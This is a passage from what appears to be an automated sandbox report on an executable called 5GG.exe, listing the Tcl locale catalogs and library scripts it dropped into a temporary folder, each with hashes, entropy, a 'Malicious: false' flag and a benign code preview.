MD5:	85288236C3997302EA26D7403BBA2C15
SHA1:	05AB389CC4DCF17B37BFF6ED1ECD58D6E9850A01
SHA-256:	AEFDC4255890D5B3FFE5CEE1B457B7D711283C2287ABA644155C10956012F6C1
SHA-512:	8E389D46606176EE14B8356153095B49C9426B80139B672A620F488891F091D1A272D4FB116775900E4AB4EC84DDDEBD8D6AF81AC672F14F148F2BFC638D2B10
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ta DAYS_OF_WEEK_FULL [list \.. "\u0b9e\u0bbe\u0baf\u0bbf\u0bb1\u0bc1"\.. "\u0ba4\u0bbf\u0b99\u0bcd\u0b95\u0bb3\u0bcd"\.. "\u0b9a\u0bc6\u0bb5\u0bcd\u0bb5\u0bbe\u0baf\u0bcd"\.. "\u0baa\u0bc1\u0ba4\u0ba9\u0bcd"\.. "\u0bb5\u0bbf\u0baf\u0bbe\u0bb4\u0ba9\u0bcd"\.. "\u0bb5\u0bc6\u0bb3\u0bcd\u0bb3\u0bbf"\.. "\u0b9a\u0ba9\u0bbf"].. ::msgcat::mcset ta MONTHS_ABBREV [list \.. "\u0b9c\u0ba9\u0bb5\u0bb0\u0bbf"\.. "\u0baa\u0bc6\u0baa\u0bcd\u0bb0\u0bb5\u0bb0\u0bbf"\.. "\u0bae\u0bbe\u0bb0\u0bcd\u0b9a\u0bcd"\.. "\u0b8f\u0baa\u0bcd\u0bb0\u0bb2\u0bcd"\.. "\u0bae\u0bc7"\.. "\u0b9c\u0bc2\u0ba9\u0bcd"\.. "\u0b9c\u0bc2\u0bb2\u0bc8"\.. "\u0b86\u0b95\u0bb8\u0bcd\u0b9f\u0bcd"\.. "\u0b9a\u0bc6\u0baa\u0bcd\u0b9f\u0bae\u0bcd\u0baa\u0bb0\u0bcd"\.. "\u0b85\u0b95\u0bcd\u0b9f\u0bcb\u0baa\u0bb0\u0bcd"\.

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\ta_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.863003494480733
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xosDv+IZosK3v6ry/5osDo+3v+6f6HyFvn:4EnLB383ZDvl5K3v6ry/ZDF3vmSVn
MD5:	CF078352DA0507C767F04E31D6C14296
SHA1:	0A9B1255BD85B60D3620AE61370F54748AB7A182
SHA-256:	4978A193076DE56944236F7F1DCECACFF739536DFB3DBEFC1F7FE2B97A8AEAF4
SHA-512:	6FFC85B2A8DECB373EC76B1CD1A9459A30E443319F2C8DB9BBE6E115F5EFEEBAC314D4E8BE996EA55EE46466C6F6057A73078F5FDCF1C4CBAF1A270E45BC10C0
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset ta_IN DATE_FORMAT "%d %M %Y".. ::msgcat::mcset ta_IN TIME_FORMAT_12 "%I:%M:%S %P".. ::msgcat::mcset ta_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\te.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2149
Entropy (8bit):	4.097884113767283
Encrypted:	false
SSDEEP:	48:43a8mxI9k3JR0UjjFbPcniLHVktjjFbPcniLHVM:2a8v9k3JdbPcIidbPcIG
MD5:	61E4CB2AAD66285E9113071057F39C35
SHA1:	A2BD21090859669C4B6A875E077825381B7E2702
SHA-256:	9E96C7123100234A7018533764502985A208F2EB3314F5B6332D46016725A63F
SHA-512:	589A2D65508B07B5FDEDA883F71A4B496B25458CA1ECE7C4D4F5DAE82EB683DA82C8E21E57D63A235AB600174C9D362A746B2E27BAA6E3ADE1B7BD9D6000BE27
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset te DAYS_OF_WEEK_ABBREV [list \.. "\u0c06\u0c26\u0c3f"\.. "\u0c38\u0c4b\u0c2e"\.. "\u0c2e\u0c02\u0c17\u0c33"\.. "\u0c2c\u0c41\u0c27"\.. "\u0c17\u0c41\u0c30\u0c41"\.. "\u0c36\u0c41\u0c15\u0c4d\u0c30"\.. "\u0c36\u0c28\u0c3f"].. ::msgcat::mcset te DAYS_OF_WEEK_FULL [list \.. "\u0c06\u0c26\u0c3f\u0c35\u0c3e\u0c30\u0c02"\.. "\u0c38\u0c4b\u0c2e\u0c35\u0c3e\u0c30\u0c02"\.. "\u0c2e\u0c02\u0c17\u0c33\u0c35\u0c3e\u0c30\u0c02"\.. "\u0c2c\u0c41\u0c27\u0c35\u0c3e\u0c30\u0c02"\.. "\u0c17\u0c41\u0c30\u0c41\u0c35\u0c3e\u0c30\u0c02"\.. "\u0c36\u0c41\u0c15\u0c4d\u0c30\u0c35\u0c3e\u0c30\u0c02"\.. "\u0c36\u0c28\u0c3f\u0c35\u0c3e\u0c30\u0c02"].. ::msgcat::mcset te MONTHS_ABBREV [list \.. "\u0c1c\u0c28\u0c35\u0c30\u0c3f"\.. "\u0c2b\u0c3f\u0c2c\u0c4d\u0c30\u0c35\u0c30\u0c3f"\.. "\u0c2e\u0c3

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\te_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	419
Entropy (8bit):	5.058324650031252
Encrypted:	false
SSDEEP:	12:4EnLB383LjZWsn0sHjoD0savzda3v6ry/ZF3vMSVn:4aR833Z1nnHjoDnavzd8vSCZNvMSV
MD5:	BCA040A356E7E8CC597EFB9B9065F8E1
SHA1:	ADAF7EC8C2035BC06E168D3F1BD7F39277E9273F
SHA-256:	B110FEEDDA21ECCEFA624BEF8E1476E9F221FB253880AC370967AE4D0237CA7A
SHA-512:	D408ECE8CF89FB23B45420D3CBA7655EEE713498210889A84EE25D3417360705546D97028EAAAA47764B6E9B0A3699669B98C0A53861A38E0DFCB9F3B8A47BEC
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset te_IN AM "\u0c2a\u0c42\u0c30\u0c4d\u0c35\u0c3e\u0c39\u0c4d\u0c28".. ::msgcat::mcset te_IN PM "\u0c05\u0c2a\u0c30\u0c3e\u0c39\u0c4d\u0c28".. ::msgcat::mcset te_IN DATE_FORMAT "%d/%m/%Y".. ::msgcat::mcset te_IN TIME_FORMAT_12 "%I:%M:%S %P".. ::msgcat::mcset te_IN DATE_TIME_FORMAT "%d/%m/%Y %I:%M:%S %P %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\th.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2359
Entropy (8bit):	4.382796122808316
Encrypted:	false
SSDEEP:	48:439X4QKPQJecQwFA0P9JmDsxQ7KHfWkD2CQM0DnWxFDzCYmdrtVP:29ohCi1028QmHfIC4jW3DmHB
MD5:	7F61E1EA256D78948189EF07119663CD
SHA1:	6867E9780049FACE9984B7788B6F362B8D1AD718
SHA-256:	48BEAF693BF5B6EED15234DB0D375B97E6D576A749E9048420C153E6CAFC0259
SHA-512:	F3E24E0B41A7D722AC2FA0E429A2DCB1CCB5BAECC9912ADF6AF79C51366EA1AC9F931F0F44F068F3CEE6873516E6223CC5E7616CF523B1DFB9E528DE4D58454A
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset th DAYS_OF_WEEK_ABBREV [list \.. "\u0e2d\u0e32."\.. "\u0e08."\.. "\u0e2d."\.. "\u0e1e."\.. "\u0e1e\u0e24."\.. "\u0e28."\.. "\u0e2a."].. ::msgcat::mcset th DAYS_OF_WEEK_FULL [list \.. "\u0e27\u0e31\u0e19\u0e2d\u0e32\u0e17\u0e34\u0e15\u0e22\u0e4c"\.. "\u0e27\u0e31\u0e19\u0e08\u0e31\u0e19\u0e17\u0e23\u0e4c"\.. "\u0e27\u0e31\u0e19\u0e2d\u0e31\u0e07\u0e04\u0e32\u0e23"\.. "\u0e27\u0e31\u0e19\u0e1e\u0e38\u0e18"\.. "\u0e27\u0e31\u0e19\u0e1e\u0e24\u0e2b\u0e31\u0e2a\u0e1a\u0e14\u0e35"\.. "\u0e27\u0e31\u0e19\u0e28\u0e38\u0e01\u0e23\u0e4c"\.. "\u0e27\u0e31\u0e19\u0e40\u0e2a\u0e32\u0e23\u0e4c"].. ::msgcat::mcset th MONTHS_ABBREV [list \.. "\u0e21.\u0e04."\.. "\u0e01.\u0e1e."\.. "\u0e21\u0e35.\u0e04."\.. "\u0e40\u0e21.\u0e22."\.. "\u0e1e.\u0e04."\.. "\u0e21\u0

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\tr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1183
Entropy (8bit):	4.390397293529625
Encrypted:	false
SSDEEP:	24:4aR83ZVUflVdq4qTr6dyX59508THHCh5LbQgWiNv9KvWIn:43PXTtbTngLhWiJGWIn
MD5:	017F0F989BD5DBBF25E7C797CE09C45C
SHA1:	162922DBD55A31A74410375A36EE7BC50E092BDD
SHA-256:	4B85B345D6C43F7257C6849A60A492397FD5FD9D82DF3A2252189D7A1ECCBB64
SHA-512:	73B6CF395753D863330687404E8A584CB08B81A8CC456DCE7BB49C4EA15EA19E45E3CC1E1367E10915DE14AC6258383289BCFEF55AD2768A50889DF390D37EF9
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset tr DAYS_OF_WEEK_ABBREV [list \.. "Paz"\.. "Pzt"\.. "Sal"\.. "\u00c7ar"\.. "Per"\.. "Cum"\.. "Cmt"].. ::msgcat::mcset tr DAYS_OF_WEEK_FULL [list \.. "Pazar"\.. "Pazartesi"\.. "Sal\u0131"\.. "\u00c7ar\u015famba"\.. "Per\u015fembe"\.. "Cuma"\.. "Cumartesi"].. ::msgcat::mcset tr MONTHS_ABBREV [list \.. "Oca"\.. "\u015eub"\.. "Mar"\.. "Nis"\.. "May"\.. "Haz"\.. "Tem"\.. "A\u011fu"\.. "Eyl"\.. "Eki"\.. "Kas"\.. "Ara"\.. ""].. ::msgcat::mcset tr MONTHS_FULL [list \.. "Ocak"\.. "\u015eubat"\.. "Mart"\.. "Nisan"\.. "May\u0131s"\.. "Haziran"\.. "Temmuz"\.. "A\u011fustos"\.. "Eyl\u00fcl"\.. "Ekim"\.. "Kas\u0131m"\.. "Aral\u

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\uk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2165
Entropy (8bit):	4.289021158621493
Encrypted:	false
SSDEEP:	48:436yILgoQjQPxUIkgPDRQnQ0vVQbC1iQwweIgWQDIoZI7QDI3QbI87IVQnIzQ7mh:2AzUe3EhV8CYgrbH7z3fLVTzgn5jyX7p
MD5:	323BD95809A44B0BADC71AD36E5F095B
SHA1:	44F6016873CA955D27545C56CCD24BDB06A83C43
SHA-256:	7093DA7E39CEB6D3F51EB6CF1CCA2D7F3680ED7B8FE4A5F0CECEEF6BEB21AC77
SHA-512:	DB16E0E2D17CE47673DE781A7171944C14CC550FB8EB0920C05B979E4D067E36DF0B59B8BFA81F82D8FCE1FFDDAAD2755E68BFE5BC0DBB11E8716A4D18BA5F7E
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset uk DAYS_OF_WEEK_ABBREV [list \.. "\u043d\u0434"\.. "\u043f\u043d"\.. "\u0432\u0442"\.. "\u0441\u0440"\.. "\u0447\u0442"\.. "\u043f\u0442"\.. "\u0441\u0431"].. ::msgcat::mcset uk DAYS_OF_WEEK_FULL [list \.. "\u043d\u0435\u0434\u0456\u043b\u044f"\.. "\u043f\u043e\u043d\u0435\u0434\u0456\u043b\u043e\u043a"\.. "\u0432\u0456\u0432\u0442\u043e\u0440\u043e\u043a"\.. "\u0441\u0435\u0440\u0435\u0434\u0430"\.. "\u0447\u0435\u0442\u0432\u0435\u0440"\.. "\u043f'\u044f\u0442\u043d\u0438\u0446\u044f"\.. "\u0441\u0443\u0431\u043e\u0442\u0430"].. ::msgcat::mcset uk MONTHS_ABBREV [list \.. "\u0441\u0456\u0447"\.. "\u043b\u044e\u0442"\.. "\u0431\u0435\u0440"\.. "\u043a\u0432\u0456\u0442"\.. "\u0442\u0440\u0430\u0432"\.. "\u0447\u0435\u0440\u0432"\.. "\u043b

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\vi.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1471
Entropy (8bit):	4.44729506678271
Encrypted:	false
SSDEEP:	24:4aR836DNjYTP55YAUy2tJ9kyzW68IFYHMBSW1K1pvhv1O:43dbYJyC8ySgI1dV1O
MD5:	C127F54C462917D3B3EEF5F29F612138
SHA1:	B1D9A67F856D93F98524C6372B352EA0DE1B9CD3
SHA-256:	E9B7AECD456F1D2288604C982B5DED0DCF71DCA968C0B0EAFF4CA16CC3B73EC2
SHA-512:	0B0F132F10580751258D37E070338C3B39DF57FDECDB9D0AFA67E90D6766DDCB4D711876E551ED759D177F1B8F4E9E1DD8F7899F7CB57F8039F55EC4C2984E87
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset vi DAYS_OF_WEEK_ABBREV [list \.. "Th 2"\.. "Th 3"\.. "Th 4"\.. "Th 5"\.. "Th 6"\.. "Th 7"\.. "CN"].. ::msgcat::mcset vi DAYS_OF_WEEK_FULL [list \.. "Th\u01b0\u0301 hai"\.. "Th\u01b0\u0301 ba"\.. "Th\u01b0\u0301 t\u01b0"\.. "Th\u01b0\u0301 n\u0103m"\.. "Th\u01b0\u0301 s\u00e1u"\.. "Th\u01b0\u0301 ba\u0309y"\.. "Chu\u0309 nh\u00e2\u0323t"].. ::msgcat::mcset vi MONTHS_ABBREV [list \.. "Thg 1"\.. "Thg 2"\.. "Thg 3"\.. "Thg 4"\.. "Thg 5"\.. "Thg 6"\.. "Thg 7"\.. "Thg 8"\.. "Thg 9"\.. "Thg 10"\.. "Thg 11"\.. "Thg 12"\.. ""].. ::msgcat::mcset vi MONTHS_FULL [list \.. "Th\u00e1ng m\u00f4\u0323t"\.. "Th\u00e1ng hai"\.. "Th\u00e1ng ba"\.. "Th\u00e1ng t\u01b0"\.. "Th\u00e

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\zh.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with very long lines (1598), with CRLF line terminators
Category:	dropped
Size (bytes):	3385
Entropy (8bit):	4.5164095151631125
Encrypted:	false
SSDEEP:	48:43qrY2BBT7uxDqwPqDa8c3FLbYmhyvMDKbW0YGLuoEyke2gdr:2yPTKdo
MD5:	2F356DE14D48B1091DEAA32D20C38D96
SHA1:	4AB78D47A73290000955A7C1DFDF7106093F69FD
SHA-256:	EB247F5184A59414D3DF7E3ECA51F5998C248CFB27D2C02E62A7A30AB35197A7
SHA-512:	602410830018B455C68AE2EBDD83BA561CF59DA5898E00C80CE7EF619912E591EB38B4C8FE8D9B1F024E7105B0C4D2D326FC855F31E79C1B954429B947DFFBB1
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset zh DAYS_OF_WEEK_ABBREV [list \.. "\u661f\u671f\u65e5"\.. "\u661f\u671f\u4e00"\.. "\u661f\u671f\u4e8c"\.. "\u661f\u671f\u4e09"\.. "\u661f\u671f\u56db"\.. "\u661f\u671f\u4e94"\.. "\u661f\u671f\u516d"].. ::msgcat::mcset zh DAYS_OF_WEEK_FULL [list \.. "\u661f\u671f\u65e5"\.. "\u661f\u671f\u4e00"\.. "\u661f\u671f\u4e8c"\.. "\u661f\u671f\u4e09"\.. "\u661f\u671f\u56db"\.. "\u661f\u671f\u4e94"\.. "\u661f\u671f\u516d"].. ::msgcat::mcset zh MONTHS_ABBREV [list \.. "\u4e00\u6708"\.. "\u4e8c\u6708"\.. "\u4e09\u6708"\.. "\u56db\u6708"\.. "\u4e94\u6708"\.. "\u516d\u6708"\.. "\u4e03\u6708"\.. "\u516b\u6708"\.. "\u4e5d\u6708"\.. "\u5341\u6708"\.. "\u5341\u4e00\u6708"\.. "\u5341\u4e8c\u6708"\.. ""].. ::msgcat::m

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\zh_cn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.167825099880243
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoX5YBoHJ+3vtfNrsoHJ+3v6MYBoXa+3vYq9vn:4EnLB383U5YMJ+3vtN3J+3v6LcL3vYqN
MD5:	9FCDC2E80E13984D434E3CC91E1ED14C
SHA1:	710D9EE2A71021F4AB609886138EED43C1380ACD
SHA-256:	4C8A855700FEFE8EE21B08030FF4159D8011AE50353F063229C42DE6292475CF
SHA-512:	D899A1F58DF1051BB2C2C4AC859C52A2D19B1593C37022A29439B37A8057ADC3941F3564E2E1D9CEB72AE123A4E12E24C3736343AA3A5EC8749AB5AEBBF65085
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset zh_CN DATE_FORMAT "%Y-%m-%e".. ::msgcat::mcset zh_CN TIME_FORMAT "%k:%M:%S".. ::msgcat::mcset zh_CN TIME_FORMAT_12 "%P%I\u65f6%M\u5206%S\u79d2".. ::msgcat::mcset zh_CN DATE_TIME_FORMAT "%Y-%m-%e %k:%M:%S %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\zh_hk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	780
Entropy (8bit):	4.716025632367214
Encrypted:	false
SSDEEP:	12:4EnLB383HmSBBHZovDh4ToC4qU3WwVW3v6P3v3WwSn:4aR83Hxo14u3Ww+viv3WwS
MD5:	CFDA7B6463305FA15DBBA72D725A1876
SHA1:	2BF885073FBAF4A38B7AFDA76CA391F195A5A362
SHA-256:	7E1C5BD9EC1A17BB851B0DCABD0DFA9FF9D64B89603D9D3FBEAAC609172346AE
SHA-512:	55F974C706933ECE0575A33C381D9B370B8A408C5C5514C805EC04C8B0CA5BAFAA47267DA98E1805B478A9589FFB7549D79002B2A7AF387049011D78DD7605B6
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset zh_HK DAYS_OF_WEEK_ABBREV [list \.. "\u65e5"\.. "\u4e00"\.. "\u4e8c"\.. "\u4e09"\.. "\u56db"\.. "\u4e94"\.. "\u516d"].. ::msgcat::mcset zh_HK MONTHS_ABBREV [list \.. "1\u6708"\.. "2\u6708"\.. "3\u6708"\.. "4\u6708"\.. "5\u6708"\.. "6\u6708"\.. "7\u6708"\.. "8\u6708"\.. "9\u6708"\.. "10\u6708"\.. "11\u6708"\.. "12\u6708"\.. ""].. ::msgcat::mcset zh_HK DATE_FORMAT "%Y\u5e74%m\u6708%e\u65e5".. ::msgcat::mcset zh_HK TIME_FORMAT_12 "%P%I:%M:%S".. ::msgcat::mcset zh_HK DATE_TIME_FORMAT "%Y\u5e74%m\u6708%e\u65e5 %P%I:%M:%S %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\zh_sg.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.062880051437783
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoOpEoPpFocMohX3v6Zwoh+3v6fxvn:4EnLB383J53v6O3vCn
MD5:	3218F8E6BEDD534277DE0849C423158E
SHA1:	10C006446A10406A5644C4033665E877EBF72AF7
SHA-256:	500546B3211D454659D845B4AB9AEF226125100DF40407C49530DE17CDD4363F
SHA-512:	3142893DA85BA8F83A5B6851B313B5F5FF80D2B989C1AE015665EE70373249B44EFB4FF7C621F1D8F37AC6019EF5E8D6D21C76C48998C3D9072F9C5060AA8813
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset zh_SG AM "\u4e0a\u5348".. ::msgcat::mcset zh_SG PM "\u4e2d\u5348".. ::msgcat::mcset zh_SG DATE_FORMAT "%d %B %Y".. ::msgcat::mcset zh_SG TIME_FORMAT_12 "%P %I:%M:%S".. ::msgcat::mcset zh_SG DATE_TIME_FORMAT "%d %B %Y %P %I:%M:%S %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\msgs\zh_tw.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	354
Entropy (8bit):	5.124064818715749
Encrypted:	false
SSDEEP:	6:SlSyEtJLl73oo6d3/xoAykaRULH/XRxy/5oAyjZRULHi5oAyU/G0OMoAyxW3v6ZQ:4EnLB38315xDOiKRRW3v6F3v8A2n
MD5:	9010E34791B5DDB7F1E0AD4DA6BD4623
SHA1:	418F7374BABEF27FEC8E00D3A32F535084593AB9
SHA-256:	DBA0584B8E1925B439F06E0BF0965E97AFB7EB39E70E0E4C9B70769EBC5F996C
SHA-512:	D3AB698B725E84DAB06E472C41FF2EB55D63885D22B4598C596800BAC83A02A44CB524524F267D090952AF7E0031F47720786ACF9E354EF672CF9EEFB7DB3BD4
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit..namespace eval ::tcl::clock {.. ::msgcat::mcset zh_TW BCE "\u6c11\u570b\u524d".. ::msgcat::mcset zh_TW CE "\u6c11\u570b".. ::msgcat::mcset zh_TW DATE_FORMAT "%Y/%m/%e".. ::msgcat::mcset zh_TW TIME_FORMAT_12 "%P %I:%M:%S".. ::msgcat::mcset zh_TW DATE_TIME_FORMAT "%Y/%m/%e %P %I:%M:%S %z"..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\opt0.4\optparse.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Tcl script, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	33777
Entropy (8bit):	4.60013086740989
Encrypted:	false
SSDEEP:	768:4D0xrpIuhenN4kA0G6sRcl5AdtsPLKiF64aJQ2L:HpnhsS9C5Adqua5aJvL
MD5:	4ECD97188BFED58A15FE22EC566FA6A3
SHA1:	6E4E91096298F1A0AE6CD4241F167C8B4F661EE5
SHA-256:	67A157F1873D606B53DC4D894BD8E71F6B1A0DD66177B9513BD039B348B40349
SHA-512:	1D5067BBB13DAB001168EEB41EBFA2D13BACB0F43A8067CC93923E8F4D062AA387DA23D7D98D6A2AE77D7C849A6026F2343102CBE03690C2CEA0890222339475
Malicious:	false
Preview:	# optparse.tcl --..#..# (private) Option parsing package..# Primarily used internally by the safe:: code...#..#.WARNING: This code will go away in a future release..#.of Tcl. It is NOT supported and you should not rely..#.on it. If your code does rely on this package you..#.may directly incorporate this code into your application.....package require Tcl 8.5-..# When this version number changes, update the pkgIndex.tcl file..# and the install directory in the Makefiles...package provide opt 0.4.8....namespace eval ::tcl {.... # Exported APIs.. namespace export OptKeyRegister OptKeyDelete OptKeyError OptKeyParse \.. OptProc OptProcArgGiven OptParse \... Lempty Lget \.. Lassign Lvarpop Lvarpop1 Lvarset Lvarincr \.. SetMax SetMin......################# Example of use / 'user documentation' ###################.... proc OptCreateTestProc {} {.....# Defines ::tcl::OptParseTest as a test proc with parsed arguments...# (can't be d

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\opt0.4\pkgIndex.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	620
Entropy (8bit):	4.702477618616754
Encrypted:	false
SSDEEP:	12:jHxIRu9zhjJS42wbGlTULuUAZb3KykszLYIGbyAkXaqrQ+pBb6:biRUJS42wbGlTUcZ+yk2LY0XaqrB4
MD5:	07532085501876DCC6882567E014944C
SHA1:	6BC7A122429373EB8F039B413AD81C408A96CB80
SHA-256:	6A4ABD2C519A745325C26FB23BE7BBF95252D653A24806EB37FD4AA6A6479AFE
SHA-512:	0D604E862F3A1A19833EAD99AAF15A9F142178029AB64C71D193CEE4901A0196C1EEDDC2BCE715B7FA958AC45C194E63C77A71E4BE4F9AEDFD5B44CF2A726E76
Malicious:	false
Preview:	# Tcl package index file, version 1.1..# This file is generated by the "pkg_mkIndex -direct" command..# and sourced either when an application starts up or..# by a "package unknown" script. It invokes the..# "package ifneeded" command to set up package-related..# information so that packages will be loaded automatically..# in response to "package require" commands. When this..# script is sourced, the variable $dir must contain the..# full path name of this file's directory.....if {![package vsatisfies [package provide Tcl] 8.5-]} {return}..package ifneeded opt 0.4.8 [list source [file join $dir optparse.tcl]]..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\package.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	23995
Entropy (8bit):	4.884828325514459
Encrypted:	false
SSDEEP:	384:8xgjLNILEHsdAW2UfnImRqXqux6XmihmCchzPLrXJjJh6PLfzdklG:8xgjLNImsdnvIm86uGLhLchzDzJ9h6Dn
MD5:	DDB0AB9842B64114138A8C83C4322027
SHA1:	ECCACDC2CCD86A452B21F3CF0933FD41125DE790
SHA-256:	F46AB61CDEBE3AA45FA7E61A48930D64A0D0E7E94D04D6BF244F48C36CAFE948
SHA-512:	C0CF718258B4D59675C088551060B34CE2BC8638958722583AC2313DC354223BFEF793B02F1316E522A14C7BA9BED219531D505DE94DC3C417FC99D216A01463
Malicious:	false
Preview:	# package.tcl --..#..# utility procs formerly in init.tcl which can be loaded on demand..# for package management...#..# Copyright (c) 1991-1993 The Regents of the University of California...# Copyright (c) 1994-1998 Sun Microsystems, Inc...#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....namespace eval tcl::Pkg {}....# ::tcl::Pkg::CompareExtension --..#..# Used internally by pkg_mkIndex to compare the extension of a file to a given..# extension. On Windows, it uses a case-insensitive comparison because the..# file system can be file insensitive...#..# Arguments:..# fileName.name of a file whose extension is compared..# ext..(optional) The extension to compare against; you must..#..provide the starting dot...#..Defaults to [info sharedlibextension]..#..# Results:..# Returns 1 if the extension matches, 0 otherwise....proc tcl::Pkg::CompareExtension {fileName {ext {}}} {.. global tcl_platfor

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\parray.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	844
Entropy (8bit):	4.883013702569192
Encrypted:	false
SSDEEP:	12:TF7S2n2wn2SNHaeYF9xcwrmXhbs1GUiSYX3EtSK78ex4VIpynEw88/McUBbPgnz:TF7Hn2wnlk2KwyZSM4SkV/3UB7Cz
MD5:	577787C2F4F5956BA70F83012B980AE5
SHA1:	040B2469F796F3FDFCD1E1DD2EB1C5B799EDEF62
SHA-256:	E269029C8263E3CBC1920C3604ECDCF15EDCCB208A0D68F9EB42B73954D620C0
SHA-512:	C2940F6F3D77412EFC537B8AB67352F519DFFA95739FCC17BF1817335AFD9E5BFE91ABE98CBA99E278CB4923D4E6D431ED9D72282745203C0F7D73193F550238
Malicious:	false
Preview:	# parray:..# Print the contents of a global array on stdout...#..# Copyright (c) 1991-1993 The Regents of the University of California...# Copyright (c) 1994 Sun Microsystems, Inc...#..# See the file "license.terms" for information on usage and redistribution..# of this file, and for a DISCLAIMER OF ALL WARRANTIES...#....proc parray {a {pattern }} {.. upvar 1 $a array.. if {![array exists array]} {...return -code error "\"$a\" isn't an array".. }.. set maxl 0.. set names [lsort [array names array $pattern]].. foreach name $names {...if {[string length $name] > $maxl} {... set maxl [string length $name]...}.. }.. set maxl [expr {$maxl + [string length $a] + 2}].. foreach name $names {...set nameString [format %s(%s) $a $name]...puts stdout [format "%-s = %s" $maxl $nameString $array($name)].. }..}..

C:\Users\user\AppData\Local\Temp\_MEI73402\tcl\safe.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Tcl script, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42223
Entropy (8bit):	4.822635446297551
Encrypted:	false
SSDEEP:	768:H/Jo8y7AyARYhZfc3njlVdRIp4xOtoYx4WneNiBq5vIhfwEaqadlUCJ2Pbb1P6:H/c7AmhZmnjvdRIG924WneNiBq5+fwEc
MD5:	B8C1561D471CFBF4111C706411D59883
SHA1:	71483EAEEF377EE9AF90BEC44F70C7B12C5BC720
SHA-256:	C21DCE3AB31893118BBED01E559070F1D3541877FEE331BD45F5BF4300ED9654
